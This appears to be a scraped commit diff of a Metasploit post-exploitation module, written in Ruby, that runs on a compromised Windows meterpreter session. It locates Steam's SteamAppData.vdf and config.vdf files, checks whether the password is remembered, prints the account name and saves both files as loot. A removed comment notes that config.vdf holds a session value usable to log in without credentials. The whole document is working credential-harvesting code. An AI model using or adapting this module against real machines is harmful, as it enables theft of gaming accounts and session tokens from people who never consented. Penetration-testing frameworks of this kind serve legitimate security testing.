28
28
class Metasploit3 < Msf ::Post
29
29
30
30
include Msf ::Post ::File
31
+ include Msf ::Auxiliary ::Report
31
32
32
33
def initialize ( info = { } )
33
34
super ( update_info ( info ,
@@ -36,75 +37,49 @@ def initialize(info={})
36
37
account set to autologin. } ,
37
38
'License' => MSF_LICENSE ,
38
39
'Author' => [ 'Nikolai Rusakov <nikolai.rusakov[at]gmail.com>' ] ,
39
- 'Version' => '$Revision: 00001 $' ,
40
40
'Platform' => [ 'win' ] ,
41
41
'SessionTypes' => [ 'meterpreter' ]
42
42
) )
43
- register_options (
44
- [
45
- OptPath . new ( 'OUTPUT_FOLDER' , [ false , 'Where to dump the config files for use with
46
- steam. (if not specified it is printed to the screen)' ] )
47
- ] , self . class )
48
-
49
43
end
50
44
51
45
def run
52
- drive = session . fs . file . expand_path ( '%SystemDrive%' )
46
+ drive = expand_path ( '%SystemDrive%' )
53
47
steamappdata = 'SteamAppData.vdf'
54
48
steamconfig = 'config.vdf'
55
49
u_rx = /AutoLoginUser\W *\" (.*)\" /
56
50
57
- case session . sys . config . sysinfo [ 'Architecture' ]
58
- when /x64/
59
- progs = drive + '\\Program Files (x86)\\'
60
- when /x86/
61
- progs = drive + '\\Program Files\\'
51
+ # Steam client is only 32 bit so we need to know what arch we are on so that we can use
52
+ # the correct program files folder.
53
+ # We will just use an x64 only defined env variable to check.
54
+ if not expand_path ( '%ProgramFiles(X86)%' ) . empty?
55
+ progs = drive + '\\Program Files (x86)' #x64
56
+ else
57
+ progs = drive + '\\Program Files' #x86
62
58
end
63
- path = progs + 'Steam\\config\\'
59
+ path = progs + '\\ Steam\\config\\'
64
60
65
- print_status ( "Checking for Steam in: #{ path } " )
61
+ print_status ( "Checking for Steam configs in #{ path } " )
66
62
67
- begin
68
- session . fs . dir . entries ( path )
69
- rescue ::Exception => e
70
- print_error ( e . to_s )
63
+ # Check if all the files are there.
64
+ # I know the path[0..-2] is ugly but directory? does not permit trailing slashes.
65
+ if directory? ( path [ 0 ..-2 ] ) && file? ( path +steamappdata ) && file? ( path +steamconfig )
66
+ print_status ( "Located steam config files." )
67
+ sad = read_file ( path +steamappdata )
68
+ if sad =~ /RememberPassword\W *\" 1\" /
69
+ print_status ( "RememberPassword is set! Accountname is #{ u_rx . match ( sad ) [ 1 ] } " )
70
+ scd = read_file ( path +steamconfig )
71
+ store_loot ( 'steam.config' , 'text/plain' , session , sad , filename = steamappdata )
72
+ store_loot ( 'steam.config' , 'text/plain' , session , scd , filename = steamconfig )
73
+ print_status ( "Steam configs harvested successfully!" )
74
+ else
75
+ print_error ( "RememberPassword is not set, exiting." )
76
+ return
77
+ end
78
+ else
79
+ print_error ( "Steam configs not found." )
71
80
return
72
81
end
73
82
74
- session . fs . dir . foreach ( path ) do |fdir |
75
- # SteamAppData.vdf contains the autologin and rememberpassword
76
- if fdir . eql? 'SteamAppData.vdf'
77
- print_status ( "Found SteamAppData, checking for RememberPassword=1." )
78
- sad = session . fs . file . open ( path + steamappdata )
79
- sad_d = sad . read ( )
80
- sad . close ( )
81
- if sad_d =~ /RememberPassword\W *\" 1\" /
82
- print_status ( "RememberPassword is set! Accountname is #{ u_rx . match ( sad_d ) [ 1 ] } " )
83
- end
84
- # config.vdf contains most importantly the ConnectCache K,V which appears to be
85
- # a session id that can be used to login to the account without credentials.
86
- scd = session . fs . file . open ( path + steamconfig )
87
- scd_d = scd . read ( )
88
- scd . close ( )
89
- # If output folder is set, dump data there
90
- if datastore [ 'OUTPUT_FOLDER' ]
91
- f = ::File . open ( datastore [ 'OUTPUT_FOLDER' ] + '/config.vdf' , 'wb' )
92
- f . write ( scd_d )
93
- f . close ( )
94
- f = ::File . open ( datastore [ 'OUTPUT_FOLDER' ] + '/SteamAppData.vdf' , 'wb' )
95
- f . write ( sad_d )
96
- f . close ( )
97
- print_status ( "Files dumped to #{ datastore [ 'OUTPUT_FOLDER' ] } " )
98
- # No output folder just dump config.vdf to the screen
99
- else
100
- print_line ( scd_d )
101
- print_status ( "config.vdf dumped." )
102
- end
103
- return true
104
- end
105
- end
106
- print_status ( "Could not find steam config files." )
107
- return nil
108
83
end
109
84
110
85
end
0 commit comments